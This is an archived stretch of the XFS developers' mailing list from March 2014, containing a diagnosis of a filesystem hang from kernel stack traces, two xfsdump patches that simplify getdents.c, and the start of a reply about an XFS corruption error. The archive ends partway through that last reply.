rcpt doesn't match header On Mon, Mar 24, 2014 at 10:24:45AM +0100, Michel Verbraak(1st-Setup) wrote: > Hi, > > We have a problem with one of our systems which is using XFS but we are > unable to find the problem. Recently we had two moments, Tuesday 4th of > March and Friday the 21st of March, where we had to reboot the system to > get it up and running again. > > What happens: > - The programs handling files on the XFS disc stop working when > creating, deleting or writing files. They do not error they are just > waiting on the command to complete. > - One of our programs, a java application, goes into very high cpu usage > (50%) which normally is at 1%. This could be something in our java > application but it happens at the moment handling files gets stuck. > - A nice restart of the programs does not succeed as wel a kill -9 does > not work. > - Trying to reboot the servers in a normal fashion does not work. As it > is a virtual machine we have to do a shutdown (unplug power) and start > it up again to get it up and running. ...... > > Following details I have for you: > > System OS: Ubuntu 12.04 LTS > Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013 > x86_64 x86_64 x86_64 GNU/Linux > Server: Virtual machine in a VMWare setup. > Disc: 300GB direct attached LUN > > We have an exact clone of this system for our acceptance environment. In > this environment we are unable to reproduce this problem/situation. > > Differences between the two days is that our services on 2014-03-21 were > quit busy with a lot of file changes on the xfs disc and on 2014-03-04 > the system was very quiet on the moment the kernel traces appear and the > services get stuck. > > Any help is appreciated. > > Regards Michel Verbraak. > > Following we see in the syslog on both moments (2014-03-04 and 2014-03-21): > .... > Mar 21 06:32:20 ealxs00169 kernel: [1412280.930543] flush-8:16 D > 0000000000000000 0 13864 2 0x00000000 > [] schedule+0x3f/0x60 > [] io_schedule+0x8f/0xd0 > [] sleep_on_page+0xe/0x20 > [] __wait_on_bit_lock+0x5a/0xc0 > [] __lock_page+0x67/0x70 > [] write_cache_pages+0x3d4/0x460 > [] generic_writepages+0x4a/0x70 > [] xfs_vm_writepages+0x4d/0x60 [xfs] > [] do_writepages+0x21/0x40 > [] writeback_single_inode+0x180/0x430 > [] writeback_sb_inodes+0x1b6/0x270 > [] __writeback_inodes_wb+0x9e/0xd0 > [] wb_writeback+0x27b/0x330 > [] wb_check_old_data_flush+0x9f/0xb0 > [] wb_do_writeback+0x151/0x1d0 > [] bdi_writeback_thread+0x83/0x2a0 > [] kthread+0x8c/0xa0 Writeback is blocked on a locked page, and is waiting for IO completion. > Mar 21 06:34:20 ealxs00169 kernel: [1412400.891181] archiver.pl D > [] schedule+0x3f/0x60 > [] schedule_timeout+0x2a5/0x320 > [] __down_common+0xa5/0xf5 > [] __down+0x1d/0x1f > [] down+0x41/0x50 > [] xfs_buf_lock+0x44/0x110 [xfs] > [] _xfs_buf_find+0xd5/0x240 [xfs] > [] xfs_buf_get+0x34/0x1c0 [xfs] > [] xfs_buf_read+0x2d/0x120 [xfs] > [] xfs_trans_read_buf+0x2bf/0x470 [xfs] > [] xfs_read_agf+0x65/0x1a0 [xfs] > [] xfs_alloc_read_agf+0x32/0x60 [xfs] > [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] > [] xfs_free_extent+0xa2/0x120 [xfs] > [] xfs_bmap_finish+0x164/0x1b0 [xfs] > [] xfs_itruncate_extents+0xdb/0x1e0 [xfs] > [] xfs_itruncate_data+0x66/0x150 [xfs] > [] xfs_inactive+0x2fe/0x460 [xfs] > [] xfs_fs_evict_inode+0xad/0x110 [xfs] > [] evict+0xb8/0x1c0 > [] iput_final+0xe8/0x210 > [] iput+0x3e/0x50 > [] do_unlinkat+0x153/0x1d0 > [] sys_unlink+0x16/0x20 > [] system_call_fastpath+0x16/0x1b 120s later, unlinking a file, blocked waiting on an AGF lock. > Mar 21 06:34:20 ealxs00169 kernel: [1412400.891686] flush-8:16 D writeback again, 120s later. > Mar 21 06:36:20 ealxs00169 kernel: [1412520.861471] java D > [] schedule_timeout+0x2a5/0x320 > [] __down_common+0xa5/0xf5 > [] __down+0x1d/0x1f > [] down+0x41/0x50 > [] xfs_buf_lock+0x44/0x110 [xfs] > [] _xfs_buf_find+0xd5/0x240 [xfs] > [] xfs_buf_get+0x34/0x1c0 [xfs] > [] xfs_buf_read+0x2d/0x120 [xfs] > [] xfs_trans_read_buf+0x2bf/0x470 [xfs] > [] xfs_read_agf+0x65/0x1a0 [xfs] > [] xfs_alloc_read_agf+0x32/0x60 [xfs] > [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] > [] xfs_alloc_vextent+0x1cb/0x690 [xfs] > [] xfs_bmap_btalloc+0x2b1/0x770 [xfs] > [] xfs_bmap_alloc+0x24/0x40 [xfs] > [] xfs_bmapi_allocate+0xce/0x2d0 [xfs] > [] xfs_bmapi_write+0x4c3/0x720 [xfs] > [] xfs_iomap_write_allocate+0x178/0x330 [xfs] > [] xfs_map_blocks+0x183/0x250 [xfs] > [] xfs_vm_writepage+0x196/0x510 [xfs] > [] __writepage+0x17/0x40 > [] write_cache_pages+0x20d/0x460 > [] generic_writepages+0x4a/0x70 > [] xfs_vm_writepages+0x4d/0x60 [xfs] > [] do_writepages+0x21/0x40 > [] __filemap_fdatawrite_range+0x5b/0x60 > [] filemap_write_and_wait_range+0x52/0x80 > [] xfs_file_fsync+0x5d/0x300 [xfs] > [] do_fsync+0x56/0x80 > [] sys_fsync+0x10/0x20 > [] system_call_fastpath+0x16/0x1b 120s later, fsync() blocks and AGF lock trying to do allocation. > Mar 21 06:36:20 ealxs00169 kernel: [1412520.862112] archiver.pl D > [] schedule+0x3f/0x60 > [] schedule_timeout+0x2a5/0x320 > [] __down_common+0xa5/0xf5 > [] __down+0x1d/0x1f > [] down+0x41/0x50 > [] xfs_buf_lock+0x44/0x110 [xfs] > [] _xfs_buf_find+0xd5/0x240 [xfs] > [] xfs_buf_get+0x34/0x1c0 [xfs] > [] xfs_buf_read+0x2d/0x120 [xfs] > [] xfs_trans_read_buf+0x2bf/0x470 [xfs] > [] xfs_read_agf+0x65/0x1a0 [xfs] > [] xfs_alloc_read_agf+0x32/0x60 [xfs] > [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] > [] xfs_free_extent+0xa2/0x120 [xfs] > [] xfs_bmap_finish+0x164/0x1b0 [xfs] > [] xfs_itruncate_extents+0xdb/0x1e0 [xfs] > [] xfs_itruncate_data+0x66/0x150 [xfs] > [] xfs_inactive+0x2fe/0x460 [xfs] > [] xfs_fs_evict_inode+0xad/0x110 [xfs] > [] evict+0xb8/0x1c0 > [] iput_final+0xe8/0x210 > [] iput+0x3e/0x50 > [] do_unlinkat+0x153/0x1d0 > [] sys_unlink+0x16/0x20 > [] system_call_fastpath+0x16/0x1b Still blocked on AGF in unlink. > Mar 21 06:38:20 ealxs00169 kernel: [1412640.821037] java D > [] schedule+0x3f/0x60 > [] __mutex_lock_slowpath+0xd7/0x150 > [] mutex_lock+0x2a/0x50 > [] do_unlinkat+0x8e/0x1d0 > [] sys_unlink+0x16/0x20 > [] system_call_fastpath+0x16/0x1b 120s later, unlink blocked on a directory mutex. (others stuck on AGF lock). > From this moment on the services are not working anymore. Complete stuck. Yup, everything is stuck waiting for writeback to complete. can you reproduce this? does the IO subsystem go idle when this occurs? or is it running flat out? Cheers, Dave. -- Dave Chinner david@fromorbit.com From kmcmarti@redhat.com Mon Mar 24 13:19:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DA2CC29DF7 for ; Mon, 24 Mar 2014 13:19:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D84688F8054 for ; Mon, 24 Mar 2014 11:19:14 -0700 (PDT) X-ASG-Debug-ID: 1395685150-04cb6c5677871560001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 7v0H1YFTs993BiBC for ; Mon, 24 Mar 2014 11:19:10 -0700 (PDT) X-Barracuda-Envelope-From: kmcmarti@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2OIJ9qj003863 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Mar 2014 14:19:09 -0400 Received: from redacted.bos.redhat.com ([10.18.17.143]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2OIJ7bW001025 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 24 Mar 2014 14:19:09 -0400 Date: Mon, 24 Mar 2014 14:19:07 -0400 From: Kyle McMartin To: xfs@oss.sgi.com Subject: [PATCH 1/2] xfsdump: getdents.c: clean up ifdef-hell around sys_getdents Message-ID: <20140324181907.GF23291@redacted.bos.redhat.com> X-ASG-Orig-Subj: [PATCH 1/2] xfsdump: getdents.c: clean up ifdef-hell around sys_getdents MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395685150 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Remove the ifdef-hell imported from glibc around getdents64. Everything since 2.4.1 supports things properly and this seems like a sensible clean up, so lets just assume it exists and handle it by falling back if not. Additionally, if the old getdents syscall doesn't exist, just stub out the actual syscall and return ENOSYS. --- common/getdents.c | 104 ++++++++++++++++++------------------------------------ 1 file changed, 34 insertions(+), 70 deletions(-) diff --git a/common/getdents.c b/common/getdents.c index e9ba25a..49d0d03 100644 --- a/common/getdents.c +++ b/common/getdents.c @@ -35,44 +35,6 @@ #include -/* Copied from kernel-features.h for __ASSUME_GETDENTS64_SYSCALL */ -#ifndef __LINUX_KERNEL_VERSION -/* We assume the worst; all kernels should be supported. */ -# define __LINUX_KERNEL_VERSION 0 -#endif -/* The getdents64 syscall was introduced in 2.4.0-test7. We test for - 2.4.1 for the earliest version we know the syscall is available. */ -#if __LINUX_KERNEL_VERSION >= 132097 -# define __ASSUME_GETDENTS64_SYSCALL 1 -#endif -/* There are an infinite number of PA-RISC kernel versions numbered - 2.4.0. But they've not really been released as such. We require - and expect the final version here. */ -#ifdef __hppa__ -# define __ASSUME_GETDENTS64_SYSCALL 1 -#endif - -#ifndef __set_errno -#define __set_errno(e) (errno = (e)) -#endif - - -#ifdef __NR_getdents64 -# ifndef __ASSUME_GETDENTS64_SYSCALL -# ifndef __GETDENTS -/* The variable is shared between all *getdents* calls. */ -int __have_no_getdents64; -# else -extern int __have_no_getdents64; -# endif -# endif -/* Earlier versions of glibc don't define SYS_getdents64 at all */ -# ifndef SYS_getdents64 -# define SYS_getdents64 __NR_getdents64 -# endif -#endif - - /* For Linux we need a special version of this file since the definition of `struct dirent' is not the same for the kernel and the libc. There is one additional field which might be introduced @@ -97,11 +59,22 @@ struct kernel_dirent64 char d_name[256]; }; -#ifndef DIRENT_TYPE -# define DIRENT_TYPE struct dirent +#define DIRENT_SET_DP_INO(dp, value) (dp)->d_ino = (value) + +#define __set_errno(e) (errno = (e)) + +int __have_no_getdents64; + +#ifdef __NR_getdents64 +# define __SYS_GETDENTS64(fd, buf, len) (syscall(SYS_getdents64, fd, buf, len)) +#else +# define __SYS_GETDENTS64(fd, buf, len) ({ __set_errno(ENOSYS); -1; }) #endif -#ifndef DIRENT_SET_DP_INO -# define DIRENT_SET_DP_INO(dp, value) (dp)->d_ino = (value) + +#ifdef __NR_getdents +# define __SYS_GETDENTS(fd, buf, len) (syscall(SYS_getdents, fd, buf, len)) +#else +# define __SYS_GETDENTS(fd, buf, len) ({ __set_errno(ENOSYS); -1; }) #endif /* The problem here is that we cannot simply read the next NBYTES @@ -115,50 +88,43 @@ struct kernel_dirent64 int getdents_wrap (int fd, char *buf, size_t nbytes) { - DIRENT_TYPE *dp; + struct dirent *dp; off64_t last_offset = -1; ssize_t retval; -#ifdef __NR_getdents64 -# ifndef __ASSUME_GETDENTS64_SYSCALL if (!__have_no_getdents64) -# endif { -# ifndef __ASSUME_GETDENTS64_SYSCALL int saved_errno = errno; -# endif char *kbuf = buf; size_t kbytes = nbytes; - if (offsetof (DIRENT_TYPE, d_name) + if (offsetof (struct dirent, d_name) < offsetof (struct kernel_dirent64, d_name) - && nbytes <= sizeof (DIRENT_TYPE)) + && nbytes <= sizeof (struct dirent)) { kbytes = nbytes + offsetof (struct kernel_dirent64, d_name) - - offsetof (DIRENT_TYPE, d_name); + - offsetof (struct dirent, d_name); kbuf = alloca(kbytes); } - retval = syscall(SYS_getdents64, fd, kbuf, kbytes); -# ifndef __ASSUME_GETDENTS64_SYSCALL - if (retval != -1 && errno != -EINVAL) -# endif + retval = __SYS_GETDENTS64(fd, kbuf, kbytes); + if (retval != -1) { struct kernel_dirent64 *kdp; const size_t size_diff = (offsetof (struct kernel_dirent64, d_name) - - offsetof (DIRENT_TYPE, d_name)); + - offsetof (struct dirent, d_name)); /* If the structure returned by the kernel is identical to what we need, don't do any conversions. */ - if (offsetof (DIRENT_TYPE, d_name) + if (offsetof (struct dirent, d_name) == offsetof (struct kernel_dirent64, d_name) && sizeof (dp->d_ino) == sizeof (kdp->d_ino) && sizeof (dp->d_off) == sizeof (kdp->d_off)) return retval; - dp = (DIRENT_TYPE *)buf; + dp = (struct dirent *)buf; kdp = (struct kernel_dirent64 *) kbuf; while ((char *) kdp < kbuf + retval) { - const size_t alignment = __alignof__ (DIRENT_TYPE); + const size_t alignment = __alignof__ (struct dirent); /* Since kdp->d_reclen is already aligned for the kernel structure this may compute a value that is bigger than necessary. */ @@ -194,41 +160,39 @@ getdents_wrap (int fd, char *buf, size_t nbytes) memmove (dp->d_name, kdp->d_name, old_reclen - offsetof (struct kernel_dirent64, d_name)); - dp = (DIRENT_TYPE *) ((char *) dp + new_reclen); + dp = (struct dirent *) ((char *) dp + new_reclen); kdp = (struct kernel_dirent64 *) ((char *) kdp + old_reclen); } return (char *) dp - buf; } -# ifndef __ASSUME_GETDENTS64_SYSCALL __set_errno (saved_errno); __have_no_getdents64 = 1; -# endif } -#endif + + /* fallback to getdents */ { size_t red_nbytes; struct kernel_dirent *skdp, *kdp; - const size_t size_diff = (offsetof (DIRENT_TYPE, d_name) + const size_t size_diff = (offsetof (struct dirent, d_name) - offsetof (struct kernel_dirent, d_name)); red_nbytes = MIN (nbytes - - ((nbytes / (offsetof (DIRENT_TYPE, d_name) + 14)) + - ((nbytes / (offsetof (struct dirent, d_name) + 14)) * size_diff), nbytes - size_diff); - dp = (DIRENT_TYPE *) buf; + dp = (struct dirent *) buf; skdp = kdp = alloca (red_nbytes); - retval = syscall(SYS_getdents, fd, kdp, red_nbytes); - + retval = __SYS_GETDENTS(fd, kdp, red_nbytes); if (retval == -1) return -1; while ((char *) kdp < (char *) skdp + retval) { - const size_t alignment = __alignof__ (DIRENT_TYPE); + const size_t alignment = __alignof__ (struct dirent); /* Since kdp->d_reclen is already aligned for the kernel structure this may compute a value that is bigger than necessary. */ size_t new_reclen = ((kdp->d_reclen + size_diff + alignment - 1) @@ -259,7 +223,7 @@ getdents_wrap (int fd, char *buf, size_t nbytes) memcpy (dp->d_name, kdp->d_name, kdp->d_reclen - offsetof (struct kernel_dirent, d_name)); - dp = (DIRENT_TYPE *) ((char *) dp + new_reclen); + dp = (struct dirent *) ((char *) dp + new_reclen); kdp = (struct kernel_dirent *) (((char *) kdp) + kdp->d_reclen); } } -- 1.8.5.3 From kmcmarti@redhat.com Mon Mar 24 13:19:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75D2929DFE for ; Mon, 24 Mar 2014 13:19:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 617F4304051 for ; Mon, 24 Mar 2014 11:19:24 -0700 (PDT) X-ASG-Debug-ID: 1395685163-04cb6c5675871570001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id QPH3uyB1pFGYDR7d for ; Mon, 24 Mar 2014 11:19:23 -0700 (PDT) X-Barracuda-Envelope-From: kmcmarti@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2OIJMhA003928 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Mar 2014 14:19:23 -0400 Received: from redacted.bos.redhat.com ([10.18.17.143]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2OIJKYU028372 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 24 Mar 2014 14:19:22 -0400 Date: Mon, 24 Mar 2014 14:19:20 -0400 From: Kyle McMartin To: xfs@oss.sgi.com Subject: [PATCH 2/2] remove ancient sys_getdents code paths Message-ID: <20140324181920.GG23291@redacted.bos.redhat.com> X-ASG-Orig-Subj: [PATCH 2/2] remove ancient sys_getdents code paths MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395685163 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Everything since 2.4.1 has supported getdents64... so let's remove all the legacy code paths to handle it and just rely on getdents64 existing everywhere. Also re-indent the function to not look entirely awful. --- common/getdents.c | 246 +++++++++++++++--------------------------------------- 1 file changed, 69 insertions(+), 177 deletions(-) diff --git a/common/getdents.c b/common/getdents.c index 49d0d03..957bb5a 100644 --- a/common/getdents.c +++ b/common/getdents.c @@ -35,47 +35,13 @@ #include -/* For Linux we need a special version of this file since the - definition of `struct dirent' is not the same for the kernel and - the libc. There is one additional field which might be introduced - in the kernel structure in the future. - - Here is the kernel definition of `struct dirent' as of 2.1.20: */ - -struct kernel_dirent - { - long int d_ino; - __kernel_off_t d_off; - unsigned short int d_reclen; - char d_name[256]; - }; - -struct kernel_dirent64 - { - uint64_t d_ino; - int64_t d_off; - unsigned short int d_reclen; - unsigned char d_type; - char d_name[256]; - }; - -#define DIRENT_SET_DP_INO(dp, value) (dp)->d_ino = (value) - -#define __set_errno(e) (errno = (e)) - -int __have_no_getdents64; - -#ifdef __NR_getdents64 -# define __SYS_GETDENTS64(fd, buf, len) (syscall(SYS_getdents64, fd, buf, len)) -#else -# define __SYS_GETDENTS64(fd, buf, len) ({ __set_errno(ENOSYS); -1; }) -#endif - -#ifdef __NR_getdents -# define __SYS_GETDENTS(fd, buf, len) (syscall(SYS_getdents, fd, buf, len)) -#else -# define __SYS_GETDENTS(fd, buf, len) ({ __set_errno(ENOSYS); -1; }) -#endif +struct kernel_dirent64 { + uint64_t d_ino; + int64_t d_off; + unsigned short int d_reclen; + unsigned char d_type; + char d_name[256]; +}; /* The problem here is that we cannot simply read the next NBYTES bytes. We need to take the additional field into account. We use @@ -85,148 +51,74 @@ int __have_no_getdents64; reasonable number of bytes to read. If we should be wrong, we can reset the file descriptor. In practice the kernel is limiting the amount of data returned much more then the reduced buffer size. */ -int -getdents_wrap (int fd, char *buf, size_t nbytes) +int getdents_wrap(int fd, char *buf, size_t nbytes) { - struct dirent *dp; - off64_t last_offset = -1; - ssize_t retval; - - if (!__have_no_getdents64) - { - int saved_errno = errno; - char *kbuf = buf; - size_t kbytes = nbytes; - if (offsetof (struct dirent, d_name) - < offsetof (struct kernel_dirent64, d_name) - && nbytes <= sizeof (struct dirent)) - { - kbytes = nbytes + offsetof (struct kernel_dirent64, d_name) - - offsetof (struct dirent, d_name); - kbuf = alloca(kbytes); + struct dirent *dp; + struct kernel_dirent64 *kdp; + off64_t last_offset = -1; + ssize_t retval; + char *kbuf = buf; + size_t kbytes = nbytes; + const size_t size_diff = (offsetof(struct kernel_dirent64, d_name) + - offsetof(struct dirent, d_name)); + + if (offsetof(struct dirent, d_name) + < offsetof(struct kernel_dirent64, d_name) + && nbytes <= sizeof(struct dirent)) { + kbytes = nbytes + size_diff; + kbuf = alloca(kbytes); } - retval = __SYS_GETDENTS64(fd, kbuf, kbytes); - if (retval != -1) - { - struct kernel_dirent64 *kdp; - const size_t size_diff = (offsetof (struct kernel_dirent64, d_name) - - offsetof (struct dirent, d_name)); - - /* If the structure returned by the kernel is identical to what we - need, don't do any conversions. */ - if (offsetof (struct dirent, d_name) - == offsetof (struct kernel_dirent64, d_name) - && sizeof (dp->d_ino) == sizeof (kdp->d_ino) - && sizeof (dp->d_off) == sizeof (kdp->d_off)) - return retval; - - dp = (struct dirent *)buf; - kdp = (struct kernel_dirent64 *) kbuf; - while ((char *) kdp < kbuf + retval) - { - const size_t alignment = __alignof__ (struct dirent); - /* Since kdp->d_reclen is already aligned for the kernel - structure this may compute a value that is bigger - than necessary. */ - size_t old_reclen = kdp->d_reclen; - size_t new_reclen = ((old_reclen - size_diff + alignment - 1) - & ~(alignment - 1)); - uint64_t d_ino = kdp->d_ino; - int64_t d_off = kdp->d_off; - unsigned char d_type = kdp->d_type; - DIRENT_SET_DP_INO (dp, d_ino); - dp->d_off = d_off; - if ((sizeof (dp->d_ino) != sizeof (kdp->d_ino) - && dp->d_ino != d_ino) - || (sizeof (dp->d_off) != sizeof (kdp->d_off) - && dp->d_off != d_off)) - { - /* Overflow. If there was at least one entry - before this one, return them without error, - otherwise signal overflow. */ - if (last_offset != -1) - { - lseek64 (fd, last_offset, SEEK_SET); - return (char *) dp - buf; - } - __set_errno (EOVERFLOW); - return -1; + retval = syscall(SYS_getdents64, fd, kbuf, kbytes); + if (retval != -1) + return retval; + + /* If the structure returned by the kernel is identical to what we + need, don't do any conversions. */ + if (offsetof(struct dirent, d_name) + == offsetof(struct kernel_dirent64, d_name) + && sizeof(dp->d_ino) == sizeof(kdp->d_ino) + && sizeof(dp->d_off) == sizeof(kdp->d_off)) + return retval; + + dp = (struct dirent *)buf; + kdp = (struct kernel_dirent64 *)kbuf; + while ((char *)kdp < kbuf + retval) { + const size_t alignment = __alignof__(struct dirent); + /* Since kdp->d_reclen is already aligned for the kernel + structure this may compute a value that is bigger + than necessary. */ + size_t old_reclen = kdp->d_reclen; + size_t new_reclen = ((old_reclen - size_diff + alignment - 1) + & ~(alignment - 1)); + uint64_t d_ino = kdp->d_ino; + int64_t d_off = kdp->d_off; + unsigned char d_type = kdp->d_type; + + dp->d_ino = d_ino; + dp->d_off = d_off; + if ((sizeof(dp->d_ino) != sizeof(kdp->d_ino)) + || (sizeof(dp->d_off) != sizeof(kdp->d_off))) { + /* Overflow. If there was at least one entry + before this one, return them without error, + otherwise signal overflow. */ + if (last_offset != -1) { + lseek64(fd, last_offset, SEEK_SET); + return (char *)dp - buf; + } + errno = EOVERFLOW; + return -1; } - last_offset = d_off; - dp->d_reclen = new_reclen; - dp->d_type = d_type; - memmove (dp->d_name, kdp->d_name, - old_reclen - offsetof (struct kernel_dirent64, d_name)); + last_offset = d_off; + dp->d_reclen = new_reclen; + dp->d_type = d_type; + memmove(dp->d_name, kdp->d_name, + old_reclen - offsetof(struct kernel_dirent64, d_name)); - dp = (struct dirent *) ((char *) dp + new_reclen); - kdp = (struct kernel_dirent64 *) ((char *) kdp + old_reclen); - } - - return (char *) dp - buf; + dp = (struct dirent *)((char *)dp + new_reclen); + kdp = (struct kernel_dirent64 *)((char *)kdp + old_reclen); } - __set_errno (saved_errno); - __have_no_getdents64 = 1; - } - - /* fallback to getdents */ - { - size_t red_nbytes; - struct kernel_dirent *skdp, *kdp; - const size_t size_diff = (offsetof (struct dirent, d_name) - - offsetof (struct kernel_dirent, d_name)); - - red_nbytes = MIN (nbytes - - ((nbytes / (offsetof (struct dirent, d_name) + 14)) - * size_diff), - nbytes - size_diff); - - dp = (struct dirent *) buf; - skdp = kdp = alloca (red_nbytes); - - retval = __SYS_GETDENTS(fd, kdp, red_nbytes); - if (retval == -1) - return -1; - - while ((char *) kdp < (char *) skdp + retval) - { - const size_t alignment = __alignof__ (struct dirent); - /* Since kdp->d_reclen is already aligned for the kernel structure - this may compute a value that is bigger than necessary. */ - size_t new_reclen = ((kdp->d_reclen + size_diff + alignment - 1) - & ~(alignment - 1)); - if ((char *) dp + new_reclen > buf + nbytes) - { - /* Our heuristic failed. We read too many entries. Reset - the stream. */ - assert (last_offset != -1); - lseek64 (fd, last_offset, SEEK_SET); - - if ((char *) dp == buf) - { - /* The buffer the user passed in is too small to hold even - one entry. */ - __set_errno (EINVAL); - return -1; - } - - break; - } - - last_offset = kdp->d_off; - DIRENT_SET_DP_INO(dp, kdp->d_ino); - dp->d_off = kdp->d_off; - dp->d_reclen = new_reclen; - dp->d_type = DT_UNKNOWN; - memcpy (dp->d_name, kdp->d_name, - kdp->d_reclen - offsetof (struct kernel_dirent, d_name)); - - dp = (struct dirent *) ((char *) dp + new_reclen); - kdp = (struct kernel_dirent *) (((char *) kdp) + kdp->d_reclen); - } - } - - return (char *) dp - buf; + return (char *)dp - buf; } -- 1.8.5.3 From tinguely@sgi.com Mon Mar 24 16:36:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E46A429DF7 for ; Mon, 24 Mar 2014 16:36:49 -0500 (CDT) Received: from eagdhcp-232-205.americas.sgi.com (eagdhcp-232-205.americas.sgi.com [128.162.232.205]) by relay1.corp.sgi.com (Postfix) with ESMTP id B9B7A8F8059; Mon, 24 Mar 2014 14:36:46 -0700 (PDT) Message-ID: <5330A56E.4010403@sgi.com> Date: Mon, 24 Mar 2014 16:36:46 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: "Mears, Morgan" CC: "xfs@oss.sgi.com" Subject: Re: Possible XFS bug encountered in 3.14.0-rc3+ References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> In-Reply-To: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/12/14 15:14, Mears, Morgan wrote: > Hi, > > Please CC me on any responses; I don't subscribe to this list. > > I ran into a possible XFS bug while doing some Oracle benchmarking. My test > system is running a 3.14.0-rc3+ kernel built from the for-next branch of > git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm.git > on 2014-02-19 (last commit 1342f11e713792e53e4b7aa21167fe9caca81c4a). > > The XFS instance in question is 200 GB and should have all default > parameters (mkfs.xfs /dev/mapper/). It contains Oracle > binaries and trace files. At the time the issue occurred I had been > running Oracle with SQL*NET server tracing enabled. The affected XFS > had filled up 100% with trace files several times; I was periodically > executing rm -f * in the trace file directory, which would reduce the > file system occupancy from 100% to 3%. I had an Oracle load generating > tool running, so new log files were being created with some frequency. > > The issue occurred during one of my rm -f * executions; afterwards the > file system would only produce errors. Here is the traceback: > > [1552067.297192] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa04c4905 > [1552067.297203] CPU: 13 PID: 699 Comm: rm Not tainted 3.14.0-rc3+ #1 > [1552067.297206] Hardware name: FUJITSU PRIMERGY RX300 S7/D2939-A1, BIOS V4.6.5.3 R1.19.0 for D2939-A1x 12/06/2012 > [1552067.297210] 0000000000069ff9 ffff8817740e1b88 ffffffff815f1eb5 0000000000000001 > [1552067.297222] ffff8817740e1ba0 ffffffffa04aac7b ffffffffa04c4905 ffff8817740e1c38 > [1552067.297229] ffffffffa04c3399 ffff882022dae000 ffff8810247d2d00 ffff8810239c4840 > [1552067.297236] Call Trace: > [1552067.297248] [] dump_stack+0x45/0x56 > [1552067.297311] [] xfs_error_report+0x3b/0x40 [xfs] > [1552067.297344] [] ? xfs_free_extent+0xc5/0xf0 [xfs] > [1552067.297373] [] xfs_free_ag_extent+0x1e9/0x710 [xfs] > [1552067.297401] [] xfs_free_extent+0xc5/0xf0 [xfs] > [1552067.297425] [] xfs_bmap_finish+0x13f/0x190 [xfs] > [1552067.297461] [] xfs_itruncate_extents+0x16d/0x2a0 [xfs] > [1552067.297503] [] xfs_inactive_truncate+0x8d/0x120 [xfs] > [1552067.297534] [] 